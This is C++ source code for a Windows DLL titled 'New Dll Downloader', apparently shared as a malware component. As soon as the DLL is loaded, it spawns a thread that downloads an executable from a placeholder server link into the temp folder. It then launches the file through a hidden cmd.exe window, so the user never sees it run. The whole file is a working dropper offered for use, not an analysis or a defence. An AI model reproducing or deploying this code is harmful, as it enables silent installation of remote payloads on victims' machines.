New Dll Downloader

#pragma comment(lib, "UrlMon.lib")

#include <stdio.h>
#include "stdafx.h"
#include <Shellapi.h>
#include <Windows.h>
#include <iostream>
#include <UrlMon.h>
#include <cstdlib>
#include <TCHAR.H>
#include "Shlwapi.h"
using namespace std;


TCHAR lpTempPathBuffer[MAX_PATH];
TCHAR SysPath[MAX_PATH];

void DonwFile(void)
{
    GetTempPath(MAX_PATH, lpTempPathBuffer);
    _tcscat_s(lpTempPathBuffer, MAX_PATH, L"\\ServerName.exe");
    HRESULT UD = URLDownloadToFile(0, L"Server Direct Link", lpTempPathBuffer, 0, 0);

    GetSystemDirectory(SysPath, MAX_PATH);
    _tcscat_s(SysPath, MAX_PATH, L"\\cmd.exe");


    ShellExecute(0, 0, SysPath, L"/k start %TEMP%\\ServerName.exe & exit", NULL, SW_HIDE);
}


BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        CreateThread(0, 0, (LPTHREAD_START_ROUTINE)DonwFile, 0, 0, 0);
    }
    return TRUE;
}